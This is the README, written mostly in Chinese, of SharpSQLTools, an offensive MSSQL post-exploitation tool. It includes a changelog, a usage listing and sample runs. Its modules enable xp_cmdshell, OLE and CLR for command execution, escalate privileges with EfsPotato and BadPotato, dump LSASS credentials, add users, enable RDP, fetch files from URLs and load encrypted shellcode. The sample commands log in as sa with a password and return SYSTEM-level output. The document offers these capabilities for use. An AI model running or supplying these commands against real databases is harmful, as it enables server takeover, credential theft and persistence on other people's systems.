- 简介 和[RcoIl](http://github.com/rcoIl)一起写的小工具，可上传下载文件，xp_cmdshell与sp_oacreate双回显和clr加载程序集执行相应操作。功能参考[mssqlproxy](https://github.com/blackarrowsec/mssqlproxy)，由于目前C#还不知如何获取SQL连接的socket，该项目中的mssqlproxy功能目前尚未实现。另外，Clr不适用于一些与线程进程相关的操作。 ##### 编译环境为net 4.0 ### 更新日志 - 2021-08-05 - 添加clr_badpotato - 修改原来的clr_potato为clr_efspotato - 2021-08-04 - 添加一些clr实现的基本命令：pwd,ls,netstat,ps等等 - 致谢[KevinJClark@csharptoolbox](https://gitlab.com/KevinJClark/csharptoolbox/-/tree/master/WindowsBinaryReplacements) & [rabbittb](https://github.com/rabbittb) - 2021-08-03 - 添加clr_efspotato - 致谢[zcgonvh@EfsPotato](https://github.com/zcgonvh/EfsPotato) & [hl0rey](https://github.com/hl0rey) - 2021-07-10 - 修复上传bug - 修复clr回显bug - 2021-06-22 - 添加clr执行命令和程序 - 添加clr合并文件功能，方便在cmd被拦截时代替copy /b合并文件 - 修改支持自定义端口 - 2021-05-27 - 支持shellcode远程加载 - 2021-01-19 - 支持xp_cmdshell与sp_oacreate双回显 - 支持clr加载程序集执行 - 支持上传下载文件 - 2019-12-18 - 发布最初命令行版 ### Usage ``` λ SharpSQLTools.exe _____ _ _____ ____ _ _______ _ / ____| | / ____|/ __ \| | |__ __| | | | (___ | |__ __ _ _ __ _ __| (___ | | | | | | | ___ ___ | |___ \___ \| '_ \ / _` | '__| '_ \\___ \| | | | | | |/ _ \ / _ \| / __| ____) | | | | (_| | | | |_) |___) | |__| | |____| | (_) | (_) | \__ \ |_____/|_| |_|\__,_|_| | .__/_____/ \___\_\______|_|\___/ \___/|_|___/ | | |_| by Rcoil & Uknow Usage: SharpSQLTools target:port username password database - interactive console SharpSQLTools target:port username password database module command - non-interactive console Module: enable_xp_cmdshell - you know what it means disable_xp_cmdshell - you know what it means xp_cmdshell {cmd} - executes cmd using xp_cmdshell sp_oacreate {cmd} - executes cmd using sp_oacreate enable_ole - you know what it means disable_ole - you know what it means upload {local} {remote} - upload a local file to a remote path (OLE required) download {remote} {local} - download a remote file to a local path enable_clr - you know what it means disable_clr - you know what it means install_clr - create assembly and procedure uninstall_clr - drop clr clr_pwd - print current directory by clr clr_ls {directory} - list files by clr clr_cd {directory} - change directory by clr clr_ps - list process by clr clr_netstat - netstat by clr clr_ping {host} - ping by clr clr_cat {file} - view file contents by clr clr_rm {file} - delete file by clr clr_exec {cmd} - for example: clr_exec whoami;clr_exec -p c:\a.exe;clr_exec -p c:\cmd.exe -a /c whoami clr_efspotato {cmd} - exec by EfsPotato like clr_exec clr_badpotato {cmd} - exec by BadPotato like clr_exec clr_combine {remotefile} - When the upload module cannot call CMD to perform copy to merge files clr_dumplsass {path} - dumplsass by clr clr_rdp - check RDP port and Enable RDP clr_getav - get anti-virus software on this machin by clr clr_adduser {user} {pass} - add user by clr clr_download {url} {path} - download file from url by clr clr_scloader {code} {key} - Encrypt Shellcode by Encrypt.py (only supports x64 shellcode.bin) clr_scloader1 {file} {key} - Encrypt Shellcode by Encrypt.py and Upload Payload.txt clr_scloader2 {remotefile} - Upload Payload.bin to target before Shellcode Loader exit - terminates the server process (and this session) ``` ### 功能介绍 支持交互模式与非交互模式，交互模式直接跟目标，用户名和密码即可。非交互模式直接跟模块与命令。 ``` SharpSQLTools target:port username password database - interactive console SharpSQLTools target:port username password database module command - non-interactive console ``` #### xp_cmdshell执行命令 ``` λ SharpSQLTools.exe 192.168.28.27 sa 1qaz@WSX xp_cmdshell master whoami [*] Database connection is successful! nt authority\system ``` #### sp_oacreate执行命令 ``` λ SharpSQLTools.exe 192.168.0.102 sa 1qaz@WSX master sp_oacreate master "whoami" [*] Database connection is successful! nt service\mssqlserver ``` #### clr执行命令 ``` λ SharpSQLTools.exe 192.168.247.139 sa 1qaz@WSX master clr_exec whoami [*] Database connection is successful!
